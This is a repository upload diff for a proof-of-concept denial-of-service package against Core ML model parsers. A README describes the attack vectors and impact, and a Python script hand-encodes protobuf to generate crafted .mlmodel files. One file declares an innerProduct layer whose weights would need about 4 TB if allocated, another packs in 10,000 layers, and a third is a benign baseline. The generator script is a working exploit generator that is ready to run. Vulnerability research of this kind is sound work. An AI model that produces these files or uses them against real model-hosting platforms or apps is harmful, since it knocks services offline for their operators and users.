Upload folder using huggingface_hub

README.md

@@ -0,0 +1,37 @@
+# Core ML Model DoS PoC
+
+Proof-of-concept Core ML model files (`.mlmodel`) demonstrating denial-of-service vectors in protobuf-based model parsers.
+
+Core ML models use Protocol Buffers format as defined by Apple's [coremltools](https://github.com/apple/coremltools) specification.
+
+## Files
+
+| File | Size | Vector |
+|------|------|--------|
+| `poc_oom_weights.mlmodel` | ~43 B | OOM via huge tensor shape declaration (innerProduct: 1M x 1M = ~4TB if allocated) |
+| `poc_many_layers.mlmodel` | ~321 KB | 10,000 neural network layers causing parser overhead and memory pressure |
+| `benign.mlmodel` | ~56 B | Minimal valid model for baseline comparison |
+| `generate_pocs.py` | - | Generator script for reproducibility |
+
+## Attack Vectors
+
+### 1. OOM via Huge Tensor Shapes (`poc_oom_weights.mlmodel`)
+
+A crafted protobuf declares a neural network `innerProduct` layer with `inputChannels=1000000` and `outputChannels=1000000`. If a parser naively pre-allocates the weight matrix, this requires 10^12 float32 values (~4 TB of memory), causing an out-of-memory condition.
+
+### 2. Many Layers Parsing Overhead (`poc_many_layers.mlmodel`)
+
+A neural network spec containing 10,000 activation layers. Parsers that build full graph representations or validate layer connectivity may experience significant overhead or memory pressure when processing this many layers.
+
+## Reproduction
+
+```bash
+python generate_pocs.py
+```
+
+Then load the generated `.mlmodel` files with any Core ML parser (e.g., `coremltools.utils.load_spec()`).
+
+## Impact
+
+- Denial of service in any application that loads untrusted `.mlmodel` files
+- Applicable to model hosting platforms, ML pipelines, and iOS/macOS apps accepting user-provided models

benign.mlmodel

@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:9fc30358165ba6bccb5933a37fcd56f94776bee2067cb68c82cfa3beaafd3416
+size 56

generate_pocs.py

@@ -0,0 +1,99 @@
+#!/usr/bin/env python3
+"""Generate Core ML model PoC files for DoS testing."""
+
+import os
+
+def encode_varint(value):
+    result = bytearray()
+    while value > 0x7f:
+        result.append((value & 0x7f) | 0x80)
+        value >>= 7
+    result.append(value & 0x7f)
+    return bytes(result)
+
+def encode_field(field_num, wire_type, data):
+    tag = encode_varint((field_num << 3) | wire_type)
+    if wire_type == 0:  # varint
+        return tag + encode_varint(data)
+    elif wire_type == 2:  # length-delimited
+        return tag + encode_varint(len(data)) + data
+
+DIR = os.path.dirname(os.path.abspath(__file__))
+
+# ---- 1. poc_oom_weights.mlmodel ----
+# Core ML Model protobuf with neural network layer claiming enormous weight dimensions
+# innerProduct with inputChannels=1000000, outputChannels=1000000
+# Would require 1e12 float32 values = ~4TB if allocated
+
+spec_ver = encode_field(1, 0, 4)  # specificationVersion = 4
+
+# innerProduct params: field 1 = inputChannels, field 2 = outputChannels
+inner = encode_field(1, 0, 1000000) + encode_field(2, 0, 1000000)
+layer_params = encode_field(5, 2, inner)  # innerProduct = field 5 in NeuralNetworkLayer
+layer_name = encode_field(1, 2, b'evil_layer')
+# input/output names
+layer_input = encode_field(2, 2, b'input')
+layer_output = encode_field(3, 2, b'output')
+layer = layer_name + layer_input + layer_output + layer_params
+nn_layer = encode_field(1, 2, layer)  # layers = field 1 in NeuralNetwork
+neural_net = encode_field(7, 2, nn_layer)  # neuralNetwork = field 7 in Model
+
+model_data = spec_ver + neural_net
+path = os.path.join(DIR, 'poc_oom_weights.mlmodel')
+with open(path, 'wb') as f:
+    f.write(model_data)
+print(f"Created {path} ({len(model_data)} bytes)")
+
+# ---- 2. poc_many_layers.mlmodel ----
+# Neural network with 10000 layers to cause parsing overhead
+
+spec_ver = encode_field(1, 0, 4)
+
+layers_data = b''
+for i in range(10000):
+    name = f'layer_{i}'.encode()
+    ln = encode_field(1, 2, name)
+    li = encode_field(2, 2, b'input')
+    lo = encode_field(3, 2, b'output')
+    # activation layer (field 6) with ReLU (field 1 = linear with default)
+    activation_params = encode_field(1, 2, b'')  # linear activation
+    lp = encode_field(6, 2, activation_params)
+    layer = ln + li + lo + lp
+    layers_data += encode_field(1, 2, layer)
+
+neural_net = encode_field(7, 2, layers_data)
+model_data = spec_ver + neural_net
+path = os.path.join(DIR, 'poc_many_layers.mlmodel')
+with open(path, 'wb') as f:
+    f.write(model_data)
+print(f"Created {path} ({len(model_data)} bytes)")
+
+# ---- 3. benign.mlmodel ----
+# Minimal valid Core ML model
+
+spec_ver = encode_field(1, 0, 4)
+
+# description with empty input/output
+desc_input_name = encode_field(1, 2, b'input')
+desc_input_type = encode_field(1, 2, desc_input_name)
+desc_output_name = encode_field(1, 2, b'output')
+desc_output_type = encode_field(2, 2, desc_output_name)
+description = encode_field(2, 2, desc_input_type + desc_output_type)
+
+# simple neural network with one identity-like layer
+layer_name = encode_field(1, 2, b'id_layer')
+layer_input = encode_field(2, 2, b'input')
+layer_output = encode_field(3, 2, b'output')
+activation_params = encode_field(1, 2, b'')  # linear
+layer_param = encode_field(6, 2, activation_params)
+layer = layer_name + layer_input + layer_output + layer_param
+nn_layer = encode_field(1, 2, layer)
+neural_net = encode_field(7, 2, nn_layer)
+
+model_data = spec_ver + description + neural_net
+path = os.path.join(DIR, 'benign.mlmodel')
+with open(path, 'wb') as f:
+    f.write(model_data)
+print(f"Created {path} ({len(model_data)} bytes)")
+
+print("\nAll PoC files generated.")

poc_many_layers.mlmodel

@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:d34ce86c59fe2d6093a74c164f09956c5749dd403ffd3bd700fefb354a4398d5
+size 328896

poc_oom_weights.mlmodel

@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:10d763911598cd2ecf78aae79c6f3e2d7eb4181bcafe7102316c9ed49e964ff9
+size 43